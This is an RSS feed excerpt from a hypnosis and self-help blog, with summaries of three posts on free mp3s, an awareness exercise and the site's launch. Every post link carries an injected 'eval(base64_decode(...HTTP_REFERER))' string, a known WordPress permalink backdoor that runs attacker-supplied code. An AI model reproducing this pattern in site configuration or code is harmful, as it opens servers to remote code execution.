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	<title> &#187; Transformation/Change</title>
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		<title>Free Self-Help mp3s</title>
		<link>http://bogcopper.com/2010/09/29/free-self-help-mp3s/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Wed, 29 Sep 2010 22:11:02 +0000</pubDate>
		<dc:creator>RussM</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Energy alignment]]></category>
		<category><![CDATA[Free Hypnotherapy mp3s]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Meditation]]></category>
		<category><![CDATA[Self-Help]]></category>
		<category><![CDATA[Self-Improvement]]></category>
		<category><![CDATA[Subconscious]]></category>
		<category><![CDATA[Transformation/Change]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Free mp3 Downloads]]></category>
		<category><![CDATA[Hypnotize]]></category>
		<category><![CDATA[Insomnia]]></category>
		<category><![CDATA[Relaxation]]></category>
		<category><![CDATA[Self-Hypnosis]]></category>
		<category><![CDATA[Stress Reduction]]></category>
		<category><![CDATA[Stress Relief]]></category>
		<category><![CDATA[Tranformation]]></category>

		<guid isPermaLink="false">http://bogcopper.com/?p=367</guid>
		<description><![CDATA[After 3 1/2 months, I&#8217;m suspending the free mp3/donation experiment and going back to charging for the mp3 downloads. Unfortunately, there just weren&#8217;t enough donations to keep things going. I truly appreciate those people who chose to donate. You are all wonderful! I am keeping one of the self-help mp3s, Incredibly Relaxed Destresser, free for [...]


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		<title>Are You Your Thinking Mind?</title>
		<link>http://bogcopper.com/2009/07/08/are-you-your-thinking-mind/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Wed, 08 Jul 2009 15:52:41 +0000</pubDate>
		<dc:creator>RussM</dc:creator>
				<category><![CDATA[Consciousness]]></category>
		<category><![CDATA[Spiritual Enlightenment]]></category>
		<category><![CDATA[Transformation/Change]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Transformation]]></category>

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		<description><![CDATA[This is an exercise to help you explore whether you are your thinking mind, as many assume, or pure conscious awareness.  First the exercise, then some thoughts. Begin by closing your eyes and taking 3-4 deep breaths.  As you breathe, inhale through your nose, filling your lungs up all the way, hold your breath for [...]


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		<title>Getting Started</title>
		<link>http://bogcopper.com/2008/06/04/getting-started/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://bogcopper.com/2008/06/04/getting-started/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 21:11:03 +0000</pubDate>
		<dc:creator>RussM</dc:creator>
				<category><![CDATA[Energy alignment]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Spiritual Enlightenment]]></category>
		<category><![CDATA[Transformation/Change]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Transformation]]></category>

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		<description><![CDATA[Just a note to get started. This website will be exploring spiritual enlightenment, alchemy, and transformation, and the most effective ways to create change within ourselves. As a hypnotist, obviously, I&#8217;ll be talking about hypnosis as a tool for self-change, and I&#8217;ll also be exploring different forms of energy alignment. At first, I&#8217;ll offer a [...]


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